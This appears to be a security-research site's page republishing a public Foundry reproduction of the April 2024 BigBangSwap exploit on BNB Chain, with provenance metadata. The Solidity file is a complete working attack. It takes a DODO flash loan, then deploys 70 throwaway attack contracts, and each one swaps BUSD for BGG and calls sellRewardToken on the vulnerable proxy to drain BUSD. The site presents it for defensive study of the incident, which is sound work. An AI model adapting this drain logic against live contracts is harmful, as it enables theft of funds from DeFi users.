Skip to content
THREATWIRE

Public reproduction file

src/test/2024-04/BigBangSwap_exp.sol

Public reproduction file for dataset entry BigBangSwap.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-04/BigBangSwap_exp.sol117 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4// @KeyInfo - Total Lost : ~5k $BUSD
5// Attacker : https://bscscan.com/address/0xc1b6f9898576d722dbf604aaa452cfea3a639c59
6// Attack Contract : https://bscscan.com/address/0xb22cf0e1672344f23f3126fbd35f856e961fd780
7// Created Attack Contract: https://bscscan.com/address/0xAB3D2f2D70deb75ac948F8f8A7136d0f90487cfe
8// Vulnerable Contract : https://bscscan.com/address/0xa45d4359246dbd523ab690bef01da06b07450030
9// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x94055664287a565d4867a97ba6d5d2e28c55d10846e3f83355ba84bd1b9280fc
11// @Analysis
12// https://x.com/DecurityHQ/status/1778075039293727143
15import "forge-std/Test.sol";
16import "./../interface.sol";
18interface IDPPAdvanced {
19 function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external;
22interface ITransparentUpgradeableProxy {
23 function sellRewardToken(
24 uint256 amuont
25 ) external;
28contract ContractTest is Test {
29 IERC20 BGG = IERC20(0xaC4d2F229A3499F7E4E90A5932758A6829d69CFF);
30 IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);
31 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
32 IPancakePair BUSD_BGG_LpPool_Pancake = IPancakePair(0x218674fc1df16B5d4F0227A59a2796f13FEbC5f2);
33 IPancakePair BUSD_BGG_LpPool_SwapRouter = IPancakePair(0x68E465A8E65521631f36404D9fB0A6FaD62A3B37);
34 IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
35 IDPPAdvanced DODO = IDPPAdvanced(0x1B525b095b7353c5854Dbf6B0BE5Aa10F3818FaC);
36 ITransparentUpgradeableProxy TransparentUpgradeableProxy =
37 ITransparentUpgradeableProxy(0xa45D4359246DBD523Ab690Bef01Da06B07450030);
39 AttackContract attackContract;
41 function setUp() public {
42 vm.createSelectFork("bsc", 37_740_105 - 1);
43 vm.label(address(BGG), "BGG");
44 vm.label(address(BUSD), "BUSD");
45 vm.label(address(BUSD_BGG_LpPool_Pancake), "BUSD_BGG_LpPool_Pancake");
46 vm.label(address(BUSD_BGG_LpPool_SwapRouter), "BUSD_BGG_LpPool_SwapRouter");
47 vm.label(address(Router), "Router");
48 vm.label(address(DODO), "DODO");
49 }
51 function testExploit() public {
52 BUSD.transfer(address(0x000000000000000000000000000000000000dEaD), BUSD.balanceOf(address(this)));
54 BUSD.approve(address(Router), type(uint256).max);
55 BGG.approve(address(TransparentUpgradeableProxy), type(uint256).max);
57 emit log_named_uint("Attacker BUSD balance before attack", BUSD.balanceOf(address(this)));
58 DODO.flashLoan(50 * 1e18, 0, address(this), new bytes(1));
59 emit log_named_uint("Attacker BUSD balance before attack", BUSD.balanceOf(address(this)));
60 }
62 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
63 for (uint256 i = 0; i < 70; i++) {
64 attackContract = new AttackContract();
65 BUSD.transfer(address(attackContract), 15 * 1e18);
66 attackContract.Attack();
67 attackContract.Claim();
68 }
69 BUSD.transfer(address(DODO), 50 * 1e18);
70 }
72 fallback() external payable {}
73 receive() external payable {}
76contract AttackContract {
77 IERC20 BGG = IERC20(0xaC4d2F229A3499F7E4E90A5932758A6829d69CFF);
78 IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);
79 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
80 IPancakePair BUSD_BGG_LpPool_Pancake = IPancakePair(0x218674fc1df16B5d4F0227A59a2796f13FEbC5f2);
81 IPancakePair BUSD_BGG_LpPool_SwapRouter = IPancakePair(0x68E465A8E65521631f36404D9fB0A6FaD62A3B37);
82 IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
83 IDPPAdvanced DODO = IDPPAdvanced(0x1B525b095b7353c5854Dbf6B0BE5Aa10F3818FaC);
84 ITransparentUpgradeableProxy TransparentUpgradeableProxy =
85 ITransparentUpgradeableProxy(0xa45D4359246DBD523Ab690Bef01Da06B07450030);
87 address owner;
89 constructor() {
90 owner = msg.sender;
91 BUSD.approve(address(Router), type(uint256).max);
92 BGG.approve(address(TransparentUpgradeableProxy), type(uint256).max);
93 }
95 modifier onlyOwner() {
96 require(msg.sender == owner, "Only owner can perform this action");
97 _;
98 }
100 function Attack() external onlyOwner {
101 BUSDTOTOKEN();
102 TransparentUpgradeableProxy.sellRewardToken(BGG.balanceOf(address(this)));
103 }
105 function Claim() external onlyOwner {
106 BUSD.transfer(owner, BUSD.balanceOf(address(this)));
107 }
109 function BUSDTOTOKEN() internal {
110 address[] memory path = new address[](2);
111 path[0] = address(BUSD);
112 path[1] = address(BGG);
113 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
114 BUSD.balanceOf(address(this)), 0, path, address(this), block.timestamp
115 );
116 }

Analysis

Dataset entry

Public Foundry test for “BigBangSwap” (2024-04-10). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xc1b6f9898576d722dbf604aaa452cfea3a639c59

  • Attack Contract

    0xb22cf0e1672344f23f3126fbd35f856e961fd780

  • Vulnerable Contract

    0xa45d4359246dbd523ab690bef01da06b07450030

  • Attack Tx

    0x94055664287a565d4867a97ba6d5d2e28c55d10846e3f83355ba84bd1b9280fc

File record

Name
BigBangSwap
Path
src/test/2024-04/BigBangSwap_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
1aeb9c36407764ff00f54e5fc141d4654e523e7a
Language
Solidity
Size
118 lines
Date
2024-04-10
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-04/BigBangSwap_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 1aeb9c36407764ff00f54e5fc141d4654e523e7a, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.